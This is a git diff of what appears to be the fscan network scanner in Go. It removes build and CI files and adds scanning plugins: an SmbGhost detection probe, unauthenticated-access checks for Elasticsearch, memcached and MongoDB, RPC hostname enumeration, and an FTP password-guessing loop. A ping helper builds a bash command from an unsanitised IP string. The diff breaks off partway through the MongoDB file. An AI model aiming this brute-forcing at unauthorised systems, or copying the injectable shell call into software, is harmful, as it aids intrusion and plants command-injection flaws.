-          echo "### 🚦 覆盖率质量门禁" >> $GITHUB_STEP_SUMMARY
-          echo "" >> $GITHUB_STEP_SUMMARY
-
-          # 提取总体覆盖率
-          TOTAL_COVERAGE=$(go tool cover -func=coverage.out | grep total | awk '{print $3}' | sed 's/%//')
-
-          echo "总体覆盖率: ${TOTAL_COVERAGE}%" >> $GITHUB_STEP_SUMMARY
-          echo "" >> $GITHUB_STEP_SUMMARY
-
-          # 检查核心模块覆盖率（core, common/parsers必须>50%）
-          CORE_COVERAGE=$(go tool cover -func=coverage.out | grep "^github.com/shadow1ng/fscan/core/" | grep -v "_test.go" | awk '{sum+=$3; count++} END {if(count>0) print sum/count; else print 0}')
-          PARSERS_COVERAGE=$(go tool cover -func=coverage.out | grep "^github.com/shadow1ng/fscan/common/parsers/" | grep -v "_test.go" | awk '{sum+=$3; count++} END {if(count>0) print sum/count; else print 0}')
-
-          # 警告阈值：总体<40%, 核心模块<50%
-          if (( $(echo "$TOTAL_COVERAGE < 40" | bc -l) )); then
-            echo "⚠️ **警告**: 总体覆盖率 ${TOTAL_COVERAGE}% < 40%，建议补充测试" >> $GITHUB_STEP_SUMMARY
-          fi
-
-          # 检查是否有新增的未测试文件（0%覆盖率）
-          ZERO_COVERAGE_FILES=$(go tool cover -func=coverage.out | awk '$3 == "0.0%" && $1 !~ /_test\.go/' | wc -l)
-          if [ "$ZERO_COVERAGE_FILES" -gt 0 ]; then
-            echo "⚠️ **警告**: 发现 $ZERO_COVERAGE_FILES 个文件覆盖率为0%" >> $GITHUB_STEP_SUMMARY
-            echo "" >> $GITHUB_STEP_SUMMARY
-            echo "请为新代码补充单元测试" >> $GITHUB_STEP_SUMMARY
-          else
-            echo "✅ 覆盖率检查通过" >> $GITHUB_STEP_SUMMARY
-          fi
-
-  build:
-    name: 构建验证
-    runs-on: ubuntu-latest
-    timeout-minutes: 5
-    needs: test
-
-    steps:
-      - name: 检出代码
-        uses: actions/checkout@v4
-
-      - name: 设置 Go 环境
-        uses: actions/setup-go@v5
-        with:
-          go-version: '1.20'
-          cache: true
-
-      - name: 构建验证
-        run: |
-          # 只验证能否编译通过，不需要多平台构建
-          echo "🔨 验证 Linux/amd64 构建..."
-          CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o /dev/null .
-          echo "✅ 构建成功"

.gitignore

@@ -1,99 +0,0 @@
-result.txt
-result.json
-main
-.idea
-fscan.exe
-fscan
-fscanapi.csv
-
-# IDE files / IDE 文件
-.vscode/
-.cursor/
-.cursorrules
-.claude/
-
-# Local development files / 本地开发文件
-*.local
-*.tmp
-*.temp
-.env
-.env.local
-.env.development
-.env.test
-.env.production
-
-# OS files / 操作系统文件
-.DS_Store
-.DS_Store?
-._*
-.Spotlight-V100
-.Trashes
-ehthumbs.db
-Thumbs.db
-desktop.ini
-
-# Logs / 日志文件
-*.log
-logs/
-log/
-
-# Test coverage / 测试覆盖率
-coverage.txt
-coverage.html
-*.cover
-*.out
-coverage*.out
-
-# Test artifacts / 测试产物
-*_report.txt
-*_output.txt
-*_test_*.txt
-race_report.txt
-test_output.txt
-
-# Build artifacts / 构建产物
-build/
-bin/
-*.exe
-*.dll
-*.so
-*.dylib
-
-# Web UI build / Web前端构建
-web-ui/node_modules/
-web-ui/dist/
-!web/dist/
-
-# Go specific / Go 相关
-vendor/
-*.test
-*.prof
-*.mem
-*.cpu
-__debug_bin*
-go.work
-go.work.sum
-
-# Performance profiling / 性能分析
-profiles/
-
-# Local development tools / 本地开发工具
-.air.toml
-air_tmp/
-
-# Todo files / Todo文件
-Todo列表.md
-*todo*.md
-*TODO*.md
-
-# Claude documentation / Claude文档
-.claude_docs/
-
-# Cleaner plugin artifacts / 清理插件产物
-cleanup.bat
-cleanup.sh
-cleanup_script_*
-
-# Compilation objects / 编译对象文件
-*.o
-*.a

.golangci.yml

@@ -1,52 +0,0 @@
-# golangci-lint v2 配置
-version: "2"
-
-run:
-  timeout: 5m
-
-linters:
-  default: none
-  enable:
-    - govet
-    - errcheck
-    - staticcheck
-    - unused
-    - ineffassign
-    - gocyclo
-    - gocognit
-  settings:
-    govet:
-      disable:
-        - printf
-    errcheck:
-      check-type-assertions: true
-      exclude-functions:
-        - (net.Conn).Close
-        - (*os.File).Close
-        - os.Remove
-        - (github.com/hirochachacha/go-smb2.Session).Logoff
-        - (github.com/hirochachacha/go-smb2.Share).Umount
-    gocyclo:
-      min-complexity: 35
-    gocognit:
-      min-complexity: 80
-  exclusions:
-    generated: lax
-    rules:
-      - path: _test\.go
-        linters:
-          - gocyclo
-          - gocognit
-          - errcheck
-      - linters:
-          - govet
-        text: "fieldalignment:"
-    paths:
-      - vendor
-      - testdocker
-      - image
-      - mylib/grdp
-
-issues:
-  max-issues-per-linter: 50
-  max-same-issues: 3

LICENSE.txt

@@ -1,21 +0,0 @@
-MIT License
-
-Copyright (c) 2021 shadow1ng
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.

Makefile

@@ -1,191 +0,0 @@
-# fscan Makefile
-# 提供统一的构建、测试、检查命令
-
-.PHONY: help test test-cover build build-web build-ui build-debug build-race lint lint-fix clean ci deps install-tools stress-test
-
-# 默认目标
-.DEFAULT_GOAL := help
-
-# 项目配置
-BINARY_NAME := fscan
-GO := go
-GOLANGCI_LINT := golangci-lint
-
-# 颜色输出
-BLUE := \033[0;34m
-GREEN := \033[0;32m
-RED := \033[0;31m
-NC := \033[0m # No Color
-
-## help: 显示帮助信息
-help:
-	@echo "$(BLUE)fscan 构建工具$(NC)"
-	@echo ""
-	@echo "$(GREEN)可用命令:$(NC)"
-	@grep -E '^## ' $(MAKEFILE_LIST) | sed 's/^## /  /'
-	@echo ""
-
-## deps: 下载依赖
-deps:
-	@echo "$(BLUE)下载依赖...$(NC)"
-	$(GO) mod download
-	$(GO) mod verify
-	@echo "$(GREEN)✓ 依赖下载完成$(NC)"
-
-## test: 运行测试
-test:
-	@echo "$(BLUE)运行测试...$(NC)"
-	# 禁用go test内置的vet检查，因为i18n.GetTextF的间接格式化模式与vet的printf检查冲突
-	# golangci-lint会运行完整的vet检查（已在.golangci.yml中禁用printf）
-	$(GO) test -vet=off -race -v ./...
-	@echo "$(GREEN)✓ 测试通过$(NC)"
-
-## test-cover: 运行测试并生成覆盖率报告
-test-cover:
-	@echo "$(BLUE)运行测试（带覆盖率）...$(NC)"
-	# 禁用go test内置的vet检查，原因同上
-	$(GO) test -vet=off -race -coverprofile=coverage.out -covermode=atomic ./...
-	@echo ""
-	@echo "$(BLUE)覆盖率报告:$(NC)"
-	$(GO) tool cover -func=coverage.out | tail -1
-	@echo ""
-	@echo "$(GREEN)生成 HTML 报告: coverage.html$(NC)"
-	$(GO) tool cover -html=coverage.out -o coverage.html
-	@echo "$(GREEN)✓ 覆盖率报告生成完成$(NC)"
-
-## build: 构建生产版本（无 pprof，优化体积）
-build:
-	@echo "$(BLUE)构建生产版本（无 pprof）...$(NC)"
-	$(GO) build -ldflags="-s -w" -trimpath -o $(BINARY_NAME) .
-	@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)$(NC)"
-
-## build-web: 构建带Web UI的版本（需要先构建前端）
-build-web: build-ui
-	@echo "$(BLUE)构建Web版本...$(NC)"
-	$(GO) build -tags web -ldflags="-s -w" -trimpath -o $(BINARY_NAME)-web .
-	@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)-web$(NC)"
-	@echo "$(BLUE)提示: 运行 ./$(BINARY_NAME)-web -web 启动Web界面$(NC)"
-
-## build-ui: 构建前端（需要Node.js和npm）
-build-ui:
-	@echo "$(BLUE)构建前端...$(NC)"
-	@if [ ! -d "web-ui" ]; then \
-		echo "$(RED)错误: web-ui 目录不存在$(NC)"; \
-		echo "请先创建前端项目"; \
-		exit 1; \
-	fi
-	@cd web-ui && npm install && npm run build
-	@rm -rf web/dist
-	@cp -r web-ui/dist web/dist
-	@echo "$(GREEN)✓ 前端构建完成$(NC)"
-
-## build-debug: 构建调试版本（带 pprof）
-build-debug:
-	@echo "$(BLUE)构建调试版本（带 pprof）...$(NC)"
-	$(GO) build -tags=debug -o $(BINARY_NAME)_debug .
-	@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)_debug$(NC)"
-	@echo "$(BLUE)提示: 运行后访问 http://localhost:6060/debug/pprof$(NC)"
-
-## build-race: 构建 race 检测版本
-build-race:
-	@echo "$(BLUE)构建 race 检测版本...$(NC)"
-	$(GO) build -race -tags=debug -o $(BINARY_NAME)_race .
-	@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)_race$(NC)"
-	@echo "$(BLUE)提示: 运行时会检测数据竞争，性能会降低$(NC)"
-
-## build-all: 构建所有平台的二进制文件
-build-all:
-	@echo "$(BLUE)构建所有平台...$(NC)"
-	@echo "Windows amd64..."
-	GOOS=windows GOARCH=amd64 $(GO) build -o dist/$(BINARY_NAME)-windows-amd64.exe .
-	@echo "Linux amd64..."
-	GOOS=linux GOARCH=amd64 $(GO) build -o dist/$(BINARY_NAME)-linux-amd64 .
-	@echo "Darwin amd64..."
-	GOOS=darwin GOARCH=amd64 $(GO) build -o dist/$(BINARY_NAME)-darwin-amd64 .
-	@echo "$(GREEN)✓ 所有平台构建完成$(NC)"
-
-## lint: 运行代码检查
-lint:
-	@echo "$(BLUE)运行代码检查...$(NC)"
-	@command -v $(GOLANGCI_LINT) >/dev/null 2>&1 || \
-		{ echo "$(RED)错误: golangci-lint 未安装$(NC)"; \
-		  echo "运行 'make install-tools' 安装"; \
-		  exit 1; }
-	$(GOLANGCI_LINT) run ./...
-	@echo "$(GREEN)✓ 代码检查通过$(NC)"
-
-## lint-fix: 运行代码检查并自动修复
-lint-fix:
-	@echo "$(BLUE)运行代码检查（自动修复）...$(NC)"
-	@command -v $(GOLANGCI_LINT) >/dev/null 2>&1 || \
-		{ echo "$(RED)错误: golangci-lint 未安装$(NC)"; \
-		  echo "运行 'make install-tools' 安装"; \
-		  exit 1; }
-	$(GOLANGCI_LINT) run --fix ./...
-	@echo "$(GREEN)✓ 代码检查完成（已自动修复）$(NC)"
-
-## clean: 清理构建产物
-clean:
-	@echo "$(BLUE)清理构建产物...$(NC)"
-	rm -f $(BINARY_NAME) $(BINARY_NAME).exe
-	rm -f $(BINARY_NAME)_debug $(BINARY_NAME)_debug.exe
-	rm -f $(BINARY_NAME)_race $(BINARY_NAME)_race.exe
-	rm -f coverage.out coverage.html
-	rm -rf dist/ tests/logs/
-	@echo "$(GREEN)✓ 清理完成$(NC)"
-
-## stress-test: 压力测试（需要先 build-debug）
-stress-test:
-	@echo "$(BLUE)压力测试...$(NC)"
-	@if [ ! -f $(BINARY_NAME)_debug ] && [ ! -f $(BINARY_NAME)_debug.exe ]; then \
-		echo "$(RED)错误: $(BINARY_NAME)_debug 不存在$(NC)"; \
-		echo "请先运行 'make build-debug'"; \
-		exit 1; \
-	fi
-	@if [ -f tests/stress_test.sh ]; then \
-		bash tests/stress_test.sh; \
-	else \
-		echo "$(RED)错误: tests/stress_test.sh 不存在$(NC)"; \
-		echo "请先创建压力测试脚本"; \
-		exit 1; \
-	fi
-
-## ci: CI流程（lint + test + build）
-ci: lint test build
-	@echo "$(GREEN)✓ CI流程完成$(NC)"
-
-## install-tools: 安装开发工具
-install-tools:
-	@echo "$(BLUE)安装开发工具...$(NC)"
-	@echo "检查 golangci-lint..."
-	@if command -v $(GOLANGCI_LINT) >/dev/null 2>&1; then \
-		echo "$(GREEN)✓ golangci-lint 已安装$(NC)"; \
-		$(GOLANGCI_LINT) version; \
-	else \
-		echo "$(BLUE)安装 golangci-lint...$(NC)"; \
-		if command -v go >/dev/null 2>&1; then \
-			echo "使用 go install 安装..."; \
-			go install github.com/golangci/golangci-lint/cmd/golangci-lint@latest && \
-			echo "$(GREEN)✓ golangci-lint 安装成功$(NC)" && \
-			$(GOLANGCI_LINT) version || \
-			{ echo "$(RED)✗ 安装失败，请手动安装:$(NC)"; \
-			  echo "  go install github.com/golangci/golangci-lint/cmd/golangci-lint@latest"; \
-			  echo "或访问: https://golangci-lint.run/welcome/install/"; \
-			  exit 1; }; \
-		else \
-			echo "$(RED)✗ Go 未安装，无法自动安装 golangci-lint$(NC)"; \
-			exit 1; \
-		fi; \
-	fi
-
-## fmt: 格式化代码
-fmt:
-	@echo "$(BLUE)格式化代码...$(NC)"
-	$(GO) fmt ./...
-	@echo "$(GREEN)✓ 代码格式化完成$(NC)"
-
-## vet: 运行 go vet（跳过printf检查）
-vet:
-	@echo "$(BLUE)运行 go vet...$(NC)"
-	$(GO) vet -printf=false ./...
-	@echo "$(GREEN)✓ go vet 检查通过$(NC)"

Plugins/CVE-2020-0796.go

@@ -0,0 +1,129 @@
+package Plugins
+//Ladon Scanner for golang 
+//Author: k8gege
+//K8Blog: http://k8gege.org
+//Github: https://github.com/k8gege
+import (
+	"../common"
+	"bytes"
+	"fmt"
+	"net"
+	"sync"
+	"time"
+)
+
+const (
+	pkt =
+	"\x00" + // session
+	"\x00\x00\xc0"+ // legth
+
+	"\xfeSMB@\x00"+ // protocol
+
+	//[MS-SMB2]: SMB2 NEGOTIATE Request 
+	//https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e14db7ff-763a-4263-8b10-0c3944f52fc5
+
+	"\x00\x00" +
+	"\x00\x00" +
+	"\x00\x00" +
+	"\x00\x00" +
+	"\x1f\x00" +
+	"\x00\x00\x00\x00" +
+	"\x00\x00\x00\x00" +
+	"\x00\x00\x00\x00" +
+	"\x00\x00\x00\x00" +
+	"\x00\x00\x00\x00" +
+	"\x00\x00\x00\x00" +
+	"\x00\x00\x00\x00" +
+	"\x00\x00\x00\x00" +
+	"\x00\x00\x00\x00" +
+	"\x00\x00\x00\x00" +
+	"\x00\x00\x00\x00" +
+	"\x00\x00\x00\x00" + 
+
+	// [MS-SMB2]: SMB2 NEGOTIATE_CONTEXT
+	// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/15332256-522e-4a53-8cd7-0bd17678a2f7
+
+	"$\x00" +
+	"\x08\x00" +
+	"\x01\x00" +
+	"\x00\x00" +
+	"\x7f\x00\x00\x00" +
+	"\x00\x00\x00\x00" +
+	"\x00\x00\x00\x00" +
+	"\x00\x00\x00\x00" +
+	"\x00\x00\x00\x00" +
+	"x\x00" +
+	"\x00\x00" +
+	"\x02\x00" +
+	"\x00\x00" +
+	"\x02\x02" +
+	"\x10\x02" +
+	"\x22\x02" +
+	"$\x02" +
+	"\x00\x03" +
+	"\x02\x03" +
+	"\x10\x03" +
+	"\x11\x03" +
+	"\x00\x00\x00\x00" +
+
+
+	// [MS-SMB2]: SMB2_PREAUTH_INTEGRITY_CAPABILITIES
+	// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5a07bd66-4734-4af8-abcf-5a44ff7ee0e5
+
+	"\x01\x00" +
+	"&\x00" +
+	"\x00\x00\x00\x00" +
+	"\x01\x00" +
+	"\x20\x00" +
+	"\x01\x00" +
+	"\x00\x00\x00\x00" +
+	"\x00\x00\x00\x00" +
+	"\x00\x00\x00\x00" +
+	"\x00\x00\x00\x00" +
+	"\x00\x00\x00\x00" +
+	"\x00\x00\x00\x00" +
+	"\x00\x00\x00\x00" +
+	"\x00\x00\x00\x00" +
+	"\x00\x00" +
+
+	// [MS-SMB2]: SMB2_COMPRESSION_CAPABILITIES
+	// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/78e0c942-ab41-472b-b117-4a95ebe88271
+
+	"\x03\x00" +
+	"\x0e\x00" +
+	"\x00\x00\x00\x00" +
+	"\x01\x00" + //CompressionAlgorithmCount
+	"\x00\x00" +
+	"\x01\x00\x00\x00" +
+	"\x01\x00" + //LZNT1
+	"\x00\x00" +
+	"\x00\x00\x00\x00"
+)
+func SmbGhost(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
+	SmbGhostScan(info)
+	wg.Done()
+	<- ch
+}
+
+func SmbGhostScan(info *common.HostInfo) {
+	ip,port,timeout := info.Host,445,time.Duration(info.Timeout)*time.Second
+	addr:=fmt.Sprintf("%s:%d",info.Host,port)
+	conn, err := net.DialTimeout("tcp", addr, timeout)
+	if err != nil {
+		return
+	} else {
+		conn.Write([]byte(pkt))
+		buff := make([]byte, 1024)
+		err = conn.SetReadDeadline(time.Now().Add(timeout))
+		n, err := conn.Read(buff)
+		if err != nil {
+			return
+		}else {
+			defer conn.Close()
+			if bytes.Contains([]byte(buff[:n]), []byte("Public")) == true {
+				result := fmt.Sprintf("%v CVE-2020-0796 SmbGhost Vulnerable",ip)
+				common.LogSuccess(result)
+			}
+		}
+	}
+}

Plugins/base.go

@@ -0,0 +1,18 @@
+package Plugins
+
+var PluginList = map[string]interface{}{
+	"21": FtpScan,
+	"22": SshScan,
+	"135": Findnet,
+	"445": SmbScan,
+	"1433":MssqlScan,
+	"3306": MysqlScan,
+	"5432": PostgresScan,
+	"6379": RedisScan,
+	"9200":elasticsearchScan,
+	"11211":MemcachedScan,
+	"27017":MongodbScan,
+	"1000001": MS17010,
+	"1000002": SmbGhost,
+	"1000003":WebTitle,
+}

Plugins/elasticsearch.go

@@ -0,0 +1,54 @@
+package Plugins
+
+import (
+	"../common"
+	"fmt"
+	"io/ioutil"
+	"net"
+	"net/http"
+	"strings"
+	"sync"
+	"time"
+)
+
+func elasticsearchScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup)  {
+	geturl2(info)
+    wg.Done()
+	<-ch
+}
+
+
+func geturl2(info *common.HostInfo) (flag bool,err error) {
+	flag = false
+	url := fmt.Sprintf("%s:%d/_cat",info.Url,common.PORTList["elastic"])
+	var client = &http.Client{
+		Transport:&http.Transport{
+			DialContext:(&net.Dialer{
+				Timeout:time.Duration(info.Timeout)*time.Second,
+			}).DialContext,
+		},
+		CheckRedirect:func(req *http.Request, via []*http.Request) error{
+			return http.ErrUseLastResponse
+		},
+	}
+	res,err:=http.NewRequest("GET",url,nil)
+	if err==nil{
+		res.Header.Add("User-agent","Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
+		res.Header.Add("Accept","*/*")
+		res.Header.Add("Accept-Language","zh-CN,zh;q=0.9")
+		res.Header.Add("Accept-Encoding","gzip, deflate")
+		res.Header.Add("Connection","close")
+		resp,err:=client.Do(res)
+
+		if err==nil{
+			defer resp.Body.Close()
+			body, _ := ioutil.ReadAll(resp.Body)
+			if strings.Contains(string(body),"/_cat/master"){
+				result := fmt.Sprintf("Elastic:%s unauthorized",url)
+				common.LogSuccess(result)
+				flag = true
+			}
+		}
+	}
+	return flag,err
+}

Plugins/findnet.go

@@ -0,0 +1,77 @@
+package Plugins
+
+import (
+	"bytes"
+	"net"
+	"strings"
+	"time"
+
+	//"encoding/binary"
+	"encoding/hex"
+	"fmt"
+	"sync"
+
+	"../common"
+)
+
+var (
+	buffer_v1, _  = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000")
+	buffer_v2, _  = hex.DecodeString("050000031000000018000000010000000000000000000500")
+	buffer_v3, _  = hex.DecodeString("0900ffff0000")
+
+)
+func Findnet(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
+	FindnetScan(info)
+	wg.Done()
+	<- ch
+}
+
+func FindnetScan(info *common.HostInfo) {
+	realhost:=fmt.Sprintf("%s:%d",info.Host,135)
+	conn,err := net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second)
+	if err != nil{
+		return
+	}
+	conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout)*time.Second))
+	defer conn.Close()
+	conn.Write(buffer_v1)
+	reply := make([]byte, 4096)
+	_, err = conn.Read(reply)
+	if err != nil{
+		return
+	}
+	conn.Write(buffer_v2)
+	if n, err := conn.Read(reply); err != nil || n < 42 {
+		return
+	}
+	text := reply[42:]
+	flag := true
+	for i := 0; i < len(text)-5; i++ {
+		if bytes.Equal(text[i:i+6], buffer_v3){
+			text = text[:i-4]
+			flag = false
+			break
+		}
+	}
+	if flag{
+		return
+	}
+	read(text,info.Host)
+}
+func read(text []byte,host string)  {
+	encodedStr := hex.EncodeToString(text)
+	hostnames := strings.Replace(encodedStr, "0700", "", -1)
+	hostname := strings.Split(hostnames, "000000")
+	result := "NetInfo:\n[*]"+host
+	for i := 0; i < len(hostname); i++ {
+		hostname[i] = strings.Replace(hostname[i], "00", "", -1)
+		host,err := hex.DecodeString(hostname[i])
+		if err != nil{
+			return
+		}
+		result += "\n   [->]"+string(host)
+	}
+	common.LogSuccess(result)
+}
+
+

Plugins/ftp.go

@@ -0,0 +1,41 @@
+package Plugins
+
+import (
+	"../common"
+	"github.com/jlaffaye/ftp"
+	"fmt"
+	"strings"
+	"sync"
+	"time"
+)
+
+func FtpScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
+	Loop:
+	for _,user:=range common.Userdict["ftp"]{
+		for _,pass:=range common.Passwords{
+			pass = strings.Replace(pass, "{user}", string(user), -1)
+			flag,err := FtpConn(info,user,pass)
+			if flag==true && err==nil {
+				break Loop
+			}
+		}
+	}
+	wg.Done()
+	<- ch
+}
+
+func FtpConn(info *common.HostInfo,user string,pass string)(flag bool,err error){
+	flag = false
+	Host,Port,Username,Password := info.Host, common.PORTList["ftp"],user, pass
+	conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v",Host,Port), time.Duration(info.Timeout)*time.Second)
+	if err == nil {
+		err = conn.Login(Username,Password)
+		if err == nil {
+			defer conn.Logout()
+			result := fmt.Sprintf("FTP:%v:%v:%v %v",Host,Port,Username,Password)
+			common.LogSuccess(result)
+			flag = true
+		}
+	}
+	return flag,err
+}

Plugins/icmp.go

@@ -0,0 +1,201 @@
+package Plugins
+
+import (
+	"bytes"
+	"encoding/binary"
+	"fmt"
+	"net"
+	"os"
+	"os/exec"
+	"os/user"
+	"runtime"
+	"strings"
+	"sync"
+	"time"
+)
+
+var icmp ICMP
+
+var AliveHosts []string
+
+type ICMP struct {
+	Type        uint8
+	Code        uint8
+	Checksum    uint16
+	Identifier  uint16
+	SequenceNum uint16
+}
+
+type SystemInfo struct {
+	OS 			  string
+	ARCH          string
+	HostName      string
+	Groupid  	  string
+	Userid		  string
+	Username	  string
+	UserHomeDir	  string
+}
+
+func GetSys() SystemInfo {
+	var sysinfo SystemInfo
+
+	sysinfo.OS = runtime.GOOS
+	sysinfo.ARCH = runtime.GOARCH
+	name, err := os.Hostname()
+	if err == nil {
+		sysinfo.HostName = name
+	}
+
+	u, err := user.Current()
+	sysinfo.Groupid = u.Gid
+	sysinfo.Userid = u.Uid
+	sysinfo.Username = u.Username
+	sysinfo.UserHomeDir = u.HomeDir
+
+	return sysinfo
+}
+
+func isping(ip string) bool {
+	icmp.Type = 8
+	icmp.Code = 0
+	icmp.Checksum = 0
+	icmp.Identifier = 0
+	icmp.SequenceNum = 0
+
+	recvBuf := make([]byte, 32)
+	var buffer bytes.Buffer
+
+	binary.Write(&buffer, binary.BigEndian, icmp)
+	icmp.Checksum = CheckSum(buffer.Bytes())
+
+	buffer.Reset()
+	binary.Write(&buffer, binary.BigEndian, icmp)
+
+	Time, _ := time.ParseDuration("3s")
+	conn, err := net.DialTimeout("ip4:icmp", ip, Time)
+	if err != nil {
+		return false
+	}
+	_, err = conn.Write(buffer.Bytes())
+	if err != nil {
+		return false
+	}
+	conn.SetReadDeadline(time.Now().Add(time.Second * 3))
+	num, err := conn.Read(recvBuf)
+	if err != nil {
+		return false
+	}
+
+	conn.SetReadDeadline(time.Time{})
+
+	if string(recvBuf[0:num]) != "" {
+		fmt.Printf("(ICMP) Target '%s' is alive\n",ip)
+		return true
+	}
+	return false
+
+}
+
+func CheckSum(data []byte) uint16 {
+	var (
+		sum    uint32
+		length int = len(data)
+		index  int
+	)
+	for length > 1 {
+		sum += uint32(data[index])<<8 + uint32(data[index+1])
+		index += 2
+		length -= 2
+	}
+	if length > 0 {
+		sum += uint32(data[index])
+	}
+	sum += (sum >> 16)
+
+	return uint16(^sum)
+}
+
+func IcmpCheck(hostslist []string,IcmpThreads int) {
+	var wg sync.WaitGroup
+	mutex := &sync.Mutex{}
+	limiter := make(chan int, IcmpThreads)
+	for _,host :=range hostslist{
+		wg.Add(1)
+		limiter <- 1
+		go func(host string) {
+			defer wg.Done()
+			if isping(host){
+				mutex.Lock()
+				AliveHosts = append(AliveHosts, host)
+				mutex.Unlock()
+			}
+			<- limiter
+		}(host)
+
+	}
+	wg.Wait()
+}
+
+
+func ExecCommandPing(ip string,bsenv string) bool {
+	command := exec.Command(bsenv, "-c", "ping -c 1 -w 1 "+ip+" >/dev/null && echo true || echo false")  //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
+	outinfo := bytes.Buffer{}
+	command.Stdout = &outinfo
+	err := command.Start()
+	if err != nil{
+		return false
+	}
+
+	if err = command.Wait();err!=nil{
+		return false
+	}else{
+		if(strings.Contains(outinfo.String(), "true")) {
+			return true
+		}else {
+			return false
+		}
+	}
+}
+
+func PingCMDcheck(hostslist []string,bsenv string) {
+	var wg sync.WaitGroup
+	mutex := &sync.Mutex{}
+	limiter := make(chan struct{}, 40)
+	for _,host :=range hostslist{
+		wg.Add(1)
+		limiter <- struct{}{}
+		go func(host string) {
+			defer wg.Done()
+			if ExecCommandPing(host,bsenv){
+				mutex.Lock()
+				fmt.Printf("(Ping) Target '%s' is alive\n",host)
+				AliveHosts = append(AliveHosts, host)
+				mutex.Unlock()
+			}
+			<-limiter
+		}(host)
+	}
+	wg.Wait()
+}
+
+func ICMPRun(hostslist []string,IcmpThreads int)  []string{
+	var sysinfo SystemInfo
+	sysinfo = GetSys()
+
+	if sysinfo.OS == "windows" {
+		IcmpCheck(hostslist,IcmpThreads)
+	}else if sysinfo.OS == "linux" {
+		if (sysinfo.Groupid == "0" || sysinfo.Userid == "0" || sysinfo.Username == "root") {
+			IcmpCheck(hostslist,IcmpThreads)
+		}else {
+			PingCMDcheck(hostslist,"/bin/bash")
+		}
+	}else if sysinfo.OS == "darwin" {
+		if (sysinfo.Groupid == "0" || sysinfo.Userid == "0" || sysinfo.Username == "root") {
+			IcmpCheck(hostslist,IcmpThreads)
+		}else {
+			PingCMDcheck(hostslist,"/usr/local/bin/bash")
+		}
+	}
+	return AliveHosts
+}

Plugins/memcached.go

@@ -0,0 +1,31 @@
+package Plugins
+
+import (
+	"../common"
+	"fmt"
+	"net"
+	"strings"
+	"sync"
+	"time"
+)
+
+func MemcachedScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) (err error, result string) {
+	realhost:=fmt.Sprintf("%s:%d",info.Host,common.PORTList["mem"])
+	client,err:=net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second)
+	if err==nil {
+		client.SetDeadline(time.Now().Add(time.Duration(info.Timeout)*time.Second))
+		client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten
+		rev := make([]byte, 1024)
+		n, err := client.Read(rev)
+		if err == nil {
+			if strings.Contains(string(rev[:n]), "STAT") {
+				defer client.Close()
+				result = fmt.Sprintf("Memcached:%s unauthorized",realhost)
+				common.LogSuccess(result)
+			}
+		}
+	}
+	wg.Done()
+	<- ch
+	return err, result
+}

Plugins/mongodb.go

@@ -0,0 +1,49 @@
+package Plugins
+
+import (
+	"../common"
+	"fmt"
+	_ "github.com/denisenkom/go-mssqldb"
+	"net"
+	"strings"
+	"sync"
+	"time"
+)
+
+
+func MongodbScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
+	MongodbUnauth(info)
+	wg.Done()
+	<- ch
+}
+
+func MongodbUnauth(info *common.HostInfo) (flag bool,err error) {
+	flag = false
+	send_data := []byte{58,0,0,0,167,65,0,0,0,0,0,0,212,7,0,0,0,0,0,0,97,100,109,105,110,46,36,99,109,100,0,0,0,0,0,255,255,255,255,19,0,0,0,16,105,115,109,97,115,116,101,114,0,1,0,0,0,0}
+	getlog_data := []byte{72,0,0,0,2,0,0,0,0,0,0,0,212,7,0,0,0,0,0,0,97,100,109,105,110,46,36,99,109,100,0,0,0,0,0,1,0,0,0,33,0,0,0,2,103,101,116,76,111,103,0,16,0,0,0,115,116,97,114,116,117,112,87,97,114,110,105,110,103,115,0,0}
+	realhost:=fmt.Sprintf("%s:%d",info.Host,common.PORTList["mgo"])
+	conn,err := net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second)
+	if err != nil{return}
+	defer conn.Close()
+	conn.Write(send_data)
+	buf := make([]byte, 1024)
+	count, err := conn.Read(buf)
+	if err != nil {
+		return flag,err
+	}
+	text := string(buf[0:count])
+	if strings.Contains(text,"ismaster"){
+		conn.Write(getlog_data)
